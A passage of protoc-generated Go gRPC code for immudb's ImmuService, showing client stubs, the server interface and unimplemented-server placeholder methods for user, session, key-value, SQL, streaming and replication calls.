c.cc.Invoke(ctx, "/immudb.schema.ImmuService/DatabaseHealth", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) CurrentState(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*ImmutableState, error) { out := new(ImmutableState) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CurrentState", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) SetReference(ctx context.Context, in *ReferenceRequest, opts ...grpc.CallOption) (*TxHeader, error) { out := new(TxHeader) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/SetReference", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) VerifiableSetReference(ctx context.Context, in *VerifiableReferenceRequest, opts ...grpc.CallOption) (*VerifiableTx, error) { out := new(VerifiableTx) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/VerifiableSetReference", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) ZAdd(ctx context.Context, in *ZAddRequest, opts ...grpc.CallOption) (*TxHeader, error) { out := new(TxHeader) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ZAdd", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) VerifiableZAdd(ctx context.Context, in *VerifiableZAddRequest, opts ...grpc.CallOption) (*VerifiableTx, error) { out := new(VerifiableTx) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/VerifiableZAdd", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) ZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (*ZEntries, error) { out := new(ZEntries) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ZScan", in, out, opts...) if err != nil { return nil, err } return out, nil } // Deprecated: Do not use. func (c *immuServiceClient) CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateDatabase", in, out, opts...) if err != nil { return nil, err } return out, nil } // Deprecated: Do not use. func (c *immuServiceClient) CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateDatabaseWith", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) CreateDatabaseV2(ctx context.Context, in *CreateDatabaseRequest, opts ...grpc.CallOption) (*CreateDatabaseResponse, error) { out := new(CreateDatabaseResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CreateDatabaseV2", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) LoadDatabase(ctx context.Context, in *LoadDatabaseRequest, opts ...grpc.CallOption) (*LoadDatabaseResponse, error) { out := new(LoadDatabaseResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/LoadDatabase", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) UnloadDatabase(ctx context.Context, in *UnloadDatabaseRequest, opts ...grpc.CallOption) (*UnloadDatabaseResponse, error) { out := new(UnloadDatabaseResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UnloadDatabase", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) DeleteDatabase(ctx context.Context, in *DeleteDatabaseRequest, opts ...grpc.CallOption) (*DeleteDatabaseResponse, error) { out := new(DeleteDatabaseResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/DeleteDatabase", in, out, opts...) if err != nil { return nil, err } return out, nil } // Deprecated: Do not use. func (c *immuServiceClient) DatabaseList(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) { out := new(DatabaseListResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/DatabaseList", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) DatabaseListV2(ctx context.Context, in *DatabaseListRequestV2, opts ...grpc.CallOption) (*DatabaseListResponseV2, error) { out := new(DatabaseListResponseV2) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/DatabaseListV2", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) UseDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*UseDatabaseReply, error) { out := new(UseDatabaseReply) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UseDatabase", in, out, opts...) if err != nil { return nil, err } return out, nil } // Deprecated: Do not use. func (c *immuServiceClient) UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateDatabase", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) UpdateDatabaseV2(ctx context.Context, in *UpdateDatabaseRequest, opts ...grpc.CallOption) (*UpdateDatabaseResponse, error) { out := new(UpdateDatabaseResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UpdateDatabaseV2", in, out, opts...) if err != nil { return nil, err } return out, nil } // Deprecated: Do not use. func (c *immuServiceClient) GetDatabaseSettings(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) { out := new(DatabaseSettings) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/GetDatabaseSettings", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) GetDatabaseSettingsV2(ctx context.Context, in *DatabaseSettingsRequest, opts ...grpc.CallOption) (*DatabaseSettingsResponse, error) { out := new(DatabaseSettingsResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/GetDatabaseSettingsV2", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) FlushIndex(ctx context.Context, in *FlushIndexRequest, opts ...grpc.CallOption) (*FlushIndexResponse, error) { out := new(FlushIndexResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/FlushIndex", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) CompactIndex(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) { out := new(emptypb.Empty) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/CompactIndex", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) StreamGet(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (ImmuService_StreamGetClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[1], "/immudb.schema.ImmuService/streamGet", opts...) if err != nil { return nil, err } x := &immuServiceStreamGetClient{stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } if err := x.ClientStream.CloseSend(); err != nil { return nil, err } return x, nil } type ImmuService_StreamGetClient interface { Recv() (*Chunk, error) grpc.ClientStream } type immuServiceStreamGetClient struct { grpc.ClientStream } func (x *immuServiceStreamGetClient) Recv() (*Chunk, error) { m := new(Chunk) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) StreamSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamSetClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[2], "/immudb.schema.ImmuService/streamSet", opts...) if err != nil { return nil, err } x := &immuServiceStreamSetClient{stream} return x, nil } type ImmuService_StreamSetClient interface { Send(*Chunk) error CloseAndRecv() (*TxHeader, error) grpc.ClientStream } type immuServiceStreamSetClient struct { grpc.ClientStream } func (x *immuServiceStreamSetClient) Send(m *Chunk) error { return x.ClientStream.SendMsg(m) } func (x *immuServiceStreamSetClient) CloseAndRecv() (*TxHeader, error) { if err := x.ClientStream.CloseSend(); err != nil { return nil, err } m := new(TxHeader) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) StreamVerifiableGet(ctx context.Context, in *VerifiableGetRequest, opts ...grpc.CallOption) (ImmuService_StreamVerifiableGetClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[3], "/immudb.schema.ImmuService/streamVerifiableGet", opts...) if err != nil { return nil, err } x := &immuServiceStreamVerifiableGetClient{stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } if err := x.ClientStream.CloseSend(); err != nil { return nil, err } return x, nil } type ImmuService_StreamVerifiableGetClient interface { Recv() (*Chunk, error) grpc.ClientStream } type immuServiceStreamVerifiableGetClient struct { grpc.ClientStream } func (x *immuServiceStreamVerifiableGetClient) Recv() (*Chunk, error) { m := new(Chunk) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) StreamVerifiableSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamVerifiableSetClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[4], "/immudb.schema.ImmuService/streamVerifiableSet", opts...) if err != nil { return nil, err } x := &immuServiceStreamVerifiableSetClient{stream} return x, nil } type ImmuService_StreamVerifiableSetClient interface { Send(*Chunk) error CloseAndRecv() (*VerifiableTx, error) grpc.ClientStream } type immuServiceStreamVerifiableSetClient struct { grpc.ClientStream } func (x *immuServiceStreamVerifiableSetClient) Send(m *Chunk) error { return x.ClientStream.SendMsg(m) } func (x *immuServiceStreamVerifiableSetClient) CloseAndRecv() (*VerifiableTx, error) { if err := x.ClientStream.CloseSend(); err != nil { return nil, err } m := new(VerifiableTx) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) StreamScan(ctx context.Context, in *ScanRequest, opts ...grpc.CallOption) (ImmuService_StreamScanClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[5], "/immudb.schema.ImmuService/streamScan", opts...) if err != nil { return nil, err } x := &immuServiceStreamScanClient{stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } if err := x.ClientStream.CloseSend(); err != nil { return nil, err } return x, nil } type ImmuService_StreamScanClient interface { Recv() (*Chunk, error) grpc.ClientStream } type immuServiceStreamScanClient struct { grpc.ClientStream } func (x *immuServiceStreamScanClient) Recv() (*Chunk, error) { m := new(Chunk) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) StreamZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (ImmuService_StreamZScanClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[6], "/immudb.schema.ImmuService/streamZScan", opts...) if err != nil { return nil, err } x := &immuServiceStreamZScanClient{stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } if err := x.ClientStream.CloseSend(); err != nil { return nil, err } return x, nil } type ImmuService_StreamZScanClient interface { Recv() (*Chunk, error) grpc.ClientStream } type immuServiceStreamZScanClient struct { grpc.ClientStream } func (x *immuServiceStreamZScanClient) Recv() (*Chunk, error) { m := new(Chunk) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) StreamHistory(ctx context.Context, in *HistoryRequest, opts ...grpc.CallOption) (ImmuService_StreamHistoryClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[7], "/immudb.schema.ImmuService/streamHistory", opts...) if err != nil { return nil, err } x := &immuServiceStreamHistoryClient{stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } if err := x.ClientStream.CloseSend(); err != nil { return nil, err } return x, nil } type ImmuService_StreamHistoryClient interface { Recv() (*Chunk, error) grpc.ClientStream } type immuServiceStreamHistoryClient struct { grpc.ClientStream } func (x *immuServiceStreamHistoryClient) Recv() (*Chunk, error) { m := new(Chunk) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) StreamExecAll(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExecAllClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[8], "/immudb.schema.ImmuService/streamExecAll", opts...) if err != nil { return nil, err } x := &immuServiceStreamExecAllClient{stream} return x, nil } type ImmuService_StreamExecAllClient interface { Send(*Chunk) error CloseAndRecv() (*TxHeader, error) grpc.ClientStream } type immuServiceStreamExecAllClient struct { grpc.ClientStream } func (x *immuServiceStreamExecAllClient) Send(m *Chunk) error { return x.ClientStream.SendMsg(m) } func (x *immuServiceStreamExecAllClient) CloseAndRecv() (*TxHeader, error) { if err := x.ClientStream.CloseSend(); err != nil { return nil, err } m := new(TxHeader) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) ExportTx(ctx context.Context, in *ExportTxRequest, opts ...grpc.CallOption) (ImmuService_ExportTxClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[9], "/immudb.schema.ImmuService/exportTx", opts...) if err != nil { return nil, err } x := &immuServiceExportTxClient{stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } if err := x.ClientStream.CloseSend(); err != nil { return nil, err } return x, nil } type ImmuService_ExportTxClient interface { Recv() (*Chunk, error) grpc.ClientStream } type immuServiceExportTxClient struct { grpc.ClientStream } func (x *immuServiceExportTxClient) Recv() (*Chunk, error) { m := new(Chunk) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) ReplicateTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_ReplicateTxClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[10], "/immudb.schema.ImmuService/replicateTx", opts...) if err != nil { return nil, err } x := &immuServiceReplicateTxClient{stream} return x, nil } type ImmuService_ReplicateTxClient interface { Send(*Chunk) error CloseAndRecv() (*TxHeader, error) grpc.ClientStream } type immuServiceReplicateTxClient struct { grpc.ClientStream } func (x *immuServiceReplicateTxClient) Send(m *Chunk) error { return x.ClientStream.SendMsg(m) } func (x *immuServiceReplicateTxClient) CloseAndRecv() (*TxHeader, error) { if err := x.ClientStream.CloseSend(); err != nil { return nil, err } m := new(TxHeader) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExportTxClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[11], "/immudb.schema.ImmuService/streamExportTx", opts...) if err != nil { return nil, err } x := &immuServiceStreamExportTxClient{stream} return x, nil } type ImmuService_StreamExportTxClient interface { Send(*ExportTxRequest) error Recv() (*Chunk, error) grpc.ClientStream } type immuServiceStreamExportTxClient struct { grpc.ClientStream } func (x *immuServiceStreamExportTxClient) Send(m *ExportTxRequest) error { return x.ClientStream.SendMsg(m) } func (x *immuServiceStreamExportTxClient) Recv() (*Chunk, error) { m := new(Chunk) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) SQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*SQLExecResult, error) { out := new(SQLExecResult) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/SQLExec", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) UnarySQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) { out := new(SQLQueryResult) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UnarySQLQuery", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_SQLQueryClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[12], "/immudb.schema.ImmuService/SQLQuery", opts...) if err != nil { return nil, err } x := &immuServiceSQLQueryClient{stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } if err := x.ClientStream.CloseSend(); err != nil { return nil, err } return x, nil } type ImmuService_SQLQueryClient interface { Recv() (*SQLQueryResult, error) grpc.ClientStream } type immuServiceSQLQueryClient struct { grpc.ClientStream } func (x *immuServiceSQLQueryClient) Recv() (*SQLQueryResult, error) { m := new(SQLQueryResult) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func (c *immuServiceClient) ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) { out := new(SQLQueryResult) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/ListTables", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) DescribeTable(ctx context.Context, in *Table, opts ...grpc.CallOption) (*SQLQueryResult, error) { out := new(SQLQueryResult) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/DescribeTable", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) VerifiableSQLGet(ctx context.Context, in *VerifiableSQLGetRequest, opts ...grpc.CallOption) (*VerifiableSQLEntry, error) { out := new(VerifiableSQLEntry) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/VerifiableSQLGet", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *immuServiceClient) TruncateDatabase(ctx context.Context, in *TruncateDatabaseRequest, opts ...grpc.CallOption) (*TruncateDatabaseResponse, error) { out := new(TruncateDatabaseResponse) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/TruncateDatabase", in, out, opts...) if err != nil { return nil, err } return out, nil } // ImmuServiceServer is the server API for ImmuService service. // All implementations should embed UnimplementedImmuServiceServer // for forward compatibility type ImmuServiceServer interface { ListUsers(context.Context, *emptypb.Empty) (*UserList, error) CreateUser(context.Context, *CreateUserRequest) (*emptypb.Empty, error) ChangePassword(context.Context, *ChangePasswordRequest) (*emptypb.Empty, error) ChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error) ChangeSQLPrivileges(context.Context, *ChangeSQLPrivilegesRequest) (*ChangeSQLPrivilegesResponse, error) SetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error) // Deprecated: Do not use. UpdateAuthConfig(context.Context, *AuthConfig) (*emptypb.Empty, error) // Deprecated: Do not use. UpdateMTLSConfig(context.Context, *MTLSConfig) (*emptypb.Empty, error) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) CloseSession(context.Context, *emptypb.Empty) (*emptypb.Empty, error) KeepAlive(context.Context, *emptypb.Empty) (*emptypb.Empty, error) NewTx(context.Context, *NewTxRequest) (*NewTxResponse, error) Commit(context.Context, *emptypb.Empty) (*CommittedSQLTx, error) Rollback(context.Context, *emptypb.Empty) (*emptypb.Empty, error) TxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error) TxSQLQuery(*SQLQueryRequest, ImmuService_TxSQLQueryServer) error // Deprecated: Do not use. Login(context.Context, *LoginRequest) (*LoginResponse, error) // Deprecated: Do not use. Logout(context.Context, *emptypb.Empty) (*emptypb.Empty, error) Set(context.Context, *SetRequest) (*TxHeader, error) VerifiableSet(context.Context, *VerifiableSetRequest) (*VerifiableTx, error) Get(context.Context, *KeyRequest) (*Entry, error) VerifiableGet(context.Context, *VerifiableGetRequest) (*VerifiableEntry, error) Delete(context.Context, *DeleteKeysRequest) (*TxHeader, error) GetAll(context.Context, *KeyListRequest) (*Entries, error) ExecAll(context.Context, *ExecAllRequest) (*TxHeader, error) Scan(context.Context, *ScanRequest) (*Entries, error) // NOT YET SUPPORTED Count(context.Context, *KeyPrefix) (*EntryCount, error) // NOT YET SUPPORTED CountAll(context.Context, *emptypb.Empty) (*EntryCount, error) TxById(context.Context, *TxRequest) (*Tx, error) VerifiableTxById(context.Context, *VerifiableTxRequest) (*VerifiableTx, error) TxScan(context.Context, *TxScanRequest) (*TxList, error) History(context.Context, *HistoryRequest) (*Entries, error) // ServerInfo returns information about the server instance. // ServerInfoRequest is defined for future extensions. ServerInfo(context.Context, *ServerInfoRequest) (*ServerInfoResponse, error) // DEPRECATED: Use ServerInfo Health(context.Context, *emptypb.Empty) (*HealthResponse, error) DatabaseHealth(context.Context, *emptypb.Empty) (*DatabaseHealthResponse, error) CurrentState(context.Context, *emptypb.Empty) (*ImmutableState, error) SetReference(context.Context, *ReferenceRequest) (*TxHeader, error) VerifiableSetReference(context.Context, *VerifiableReferenceRequest) (*VerifiableTx, error) ZAdd(context.Context, *ZAddRequest) (*TxHeader, error) VerifiableZAdd(context.Context, *VerifiableZAddRequest) (*VerifiableTx, error) ZScan(context.Context, *ZScanRequest) (*ZEntries, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 CreateDatabase(context.Context, *Database) (*emptypb.Empty, error) // Deprecated: Do not use. // DEPRECATED: Use CreateDatabaseV2 CreateDatabaseWith(context.Context, *DatabaseSettings) (*emptypb.Empty, error) CreateDatabaseV2(context.Context, *CreateDatabaseRequest) (*CreateDatabaseResponse, error) LoadDatabase(context.Context, *LoadDatabaseRequest) (*LoadDatabaseResponse, error) UnloadDatabase(context.Context, *UnloadDatabaseRequest) (*UnloadDatabaseResponse, error) DeleteDatabase(context.Context, *DeleteDatabaseRequest) (*DeleteDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use DatabaseListV2 DatabaseList(context.Context, *emptypb.Empty) (*DatabaseListResponse, error) DatabaseListV2(context.Context, *DatabaseListRequestV2) (*DatabaseListResponseV2, error) UseDatabase(context.Context, *Database) (*UseDatabaseReply, error) // Deprecated: Do not use. // DEPRECATED: Use UpdateDatabaseV2 UpdateDatabase(context.Context, *DatabaseSettings) (*emptypb.Empty, error) UpdateDatabaseV2(context.Context, *UpdateDatabaseRequest) (*UpdateDatabaseResponse, error) // Deprecated: Do not use. // DEPRECATED: Use GetDatabaseSettingsV2 GetDatabaseSettings(context.Context, *emptypb.Empty) (*DatabaseSettings, error) GetDatabaseSettingsV2(context.Context, *DatabaseSettingsRequest) (*DatabaseSettingsResponse, error) FlushIndex(context.Context, *FlushIndexRequest) (*FlushIndexResponse, error) CompactIndex(context.Context, *emptypb.Empty) (*emptypb.Empty, error) // Streams StreamGet(*KeyRequest, ImmuService_StreamGetServer) error StreamSet(ImmuService_StreamSetServer) error StreamVerifiableGet(*VerifiableGetRequest, ImmuService_StreamVerifiableGetServer) error StreamVerifiableSet(ImmuService_StreamVerifiableSetServer) error StreamScan(*ScanRequest, ImmuService_StreamScanServer) error StreamZScan(*ZScanRequest, ImmuService_StreamZScanServer) error StreamHistory(*HistoryRequest, ImmuService_StreamHistoryServer) error StreamExecAll(ImmuService_StreamExecAllServer) error // Replication ExportTx(*ExportTxRequest, ImmuService_ExportTxServer) error ReplicateTx(ImmuService_ReplicateTxServer) error StreamExportTx(ImmuService_StreamExportTxServer) error SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) // For backward compatibility with the grpc-gateway API UnarySQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) SQLQuery(*SQLQueryRequest, ImmuService_SQLQueryServer) error ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) VerifiableSQLGet(context.Context, *VerifiableSQLGetRequest) (*VerifiableSQLEntry, error) TruncateDatabase(context.Context, *TruncateDatabaseRequest) (*TruncateDatabaseResponse, error) } // UnimplementedImmuServiceServer should be embedded to have forward compatible implementations. type UnimplementedImmuServiceServer struct { } func (UnimplementedImmuServiceServer) ListUsers(context.Context, *emptypb.Empty) (*UserList, error) { return nil, status.Errorf(codes.Unimplemented, "method ListUsers not implemented") } func (UnimplementedImmuServiceServer) CreateUser(context.Context, *CreateUserRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateUser not implemented") } func (UnimplementedImmuServiceServer) ChangePassword(context.Context, *ChangePasswordRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method ChangePassword not implemented") } func (UnimplementedImmuServiceServer) ChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method ChangePermission not implemented") } func (UnimplementedImmuServiceServer) ChangeSQLPrivileges(context.Context, *ChangeSQLPrivilegesRequest) (*ChangeSQLPrivilegesResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method ChangeSQLPrivileges not implemented") } func (UnimplementedImmuServiceServer) SetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method SetActiveUser not implemented") } func (UnimplementedImmuServiceServer) UpdateAuthConfig(context.Context, *AuthConfig) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateAuthConfig not implemented") } func (UnimplementedImmuServiceServer) UpdateMTLSConfig(context.Context, *MTLSConfig) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateMTLSConfig not implemented") } func (UnimplementedImmuServiceServer) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented") } func (UnimplementedImmuServiceServer) CloseSession(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CloseSession not implemented") } func (UnimplementedImmuServiceServer) KeepAlive(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method KeepAlive not implemented") } func (UnimplementedImmuServiceServer) NewTx(context.Context, *NewTxRequest) (*NewTxResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method NewTx not implemented") } func (UnimplementedImmuServiceServer) Commit(context.Context, *emptypb.Empty) (*CommittedSQLTx, error) { return nil, status.Errorf(codes.Unimplemented, "method Commit not implemented") } func (UnimplementedImmuServiceServer) Rollback(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Rollback not implemented") } func (UnimplementedImmuServiceServer) TxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method TxSQLExec not implemented") } func (UnimplementedImmuServiceServer) TxSQLQuery(*SQLQueryRequest, ImmuService_TxSQLQueryServer) error { return status.Errorf(codes.Unimplemented, "method TxSQLQuery not implemented") } func (UnimplementedImmuServiceServer) Login(context.Context, *LoginRequest) (*LoginResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method Login not implemented") } func (UnimplementedImmuServiceServer) Logout(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Logout not implemented") } func (UnimplementedImmuServiceServer) Set(context.Context, *SetRequest) (*TxHeader, error) { return nil, status.Errorf(codes.Unimplemented, "method Set not implemented") } func (UnimplementedImmuServiceServer) VerifiableSet(context.Context, *VerifiableSetRequest) (*VerifiableTx, error) { return nil, status.Errorf(codes.Unimplemented, "method VerifiableSet not implemented") } func (UnimplementedImmuServiceServer) Get(context.Context, *KeyRequest) (*Entry, error) { return nil, status.Errorf(codes.Unimplemented, "method Get not implemented") } func (UnimplementedImmuServiceServer) VerifiableGet(context.Context, *VerifiableGetRequest) (*VerifiableEntry, error) { return nil, status.Errorf(codes.Unimplemented, "method VerifiableGet not implemented") } func (UnimplementedImmuServiceServer) Delete(context.Context, *DeleteKeysRequest) (*TxHeader, error) { return nil, status.Errorf(codes.Unimplemented, "method Delete not implemented") } func (UnimplementedImmuServiceServer) GetAll(context.Context, *KeyListRequest) (*Entries, error) { return nil, status.Errorf(codes.Unimplemented, "method GetAll not implemented") } func (UnimplementedImmuServiceServer) ExecAll(context.Context, *ExecAllRequest) (*TxHeader, error) { return nil, status.Errorf(codes.Unimplemented, "method ExecAll not implemented") } func (UnimplementedImmuServiceServer) Scan(context.Context, *ScanRequest) (*Entries, error) { return nil, status.Errorf(codes.Unimplemented, "method Scan not implemented") } func (UnimplementedImmuServiceServer) Count(context.Context, *KeyPrefix) (*EntryCount, error) { return nil, status.Errorf(codes.Unimplemented, "method Count not implemented") } func (UnimplementedImmuServiceServer) CountAll(context.Context, *emptypb.Empty) (*EntryCount, error) { return nil, status.Errorf(codes.Unimplemented, "method CountAll not implemented") } func (UnimplementedImmuServiceServer) TxById(context.Context, *TxRequest) (*Tx, error) { return nil, status.Errorf(codes.Unimplemented, "method TxById not implemented") } func (UnimplementedImmuServiceServer) VerifiableTxById(context.Context, *VerifiableTxRequest) (*VerifiableTx, error) { return nil, status.Errorf(codes.Unimplemented, "method VerifiableTxById not implemented") } func (UnimplementedImmuServiceServer) TxScan(context.Context, *TxScanRequest) (*TxList, error) { return nil, status.Errorf(codes.Unimplemented, "method TxScan not implemented") } func (UnimplementedImmuServiceServer) History(context.Context, *HistoryRequest) (*Entries, error) { return nil, status.Errorf(codes.Unimplemented, "method History not implemented") } func (UnimplementedImmuServiceServer) ServerInfo(context.Context, *ServerInfoRequest) (*ServerInfoResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method ServerInfo not implemented") } func (UnimplementedImmuServiceServer) Health(context.Context, *emptypb.Empty) (*HealthResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method Health not implemented") } func (UnimplementedImmuServiceServer) DatabaseHealth(context.Context, *emptypb.Empty) (*DatabaseHealthResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DatabaseHealth not implemented") } func (UnimplementedImmuServiceServer) CurrentState(context.Context, *emptypb.Empty) (*ImmutableState, error) { return nil, status.Errorf(codes.Unimplemented, "method CurrentState not implemented") } func (UnimplementedImmuServiceServer) SetReference(context.Context, *ReferenceRequest) (*TxHeader, error) { return nil, status.Errorf(codes.Unimplemented, "method SetReference not implemented") } func (UnimplementedImmuServiceServer) VerifiableSetReference(context.Context, *VerifiableReferenceRequest) 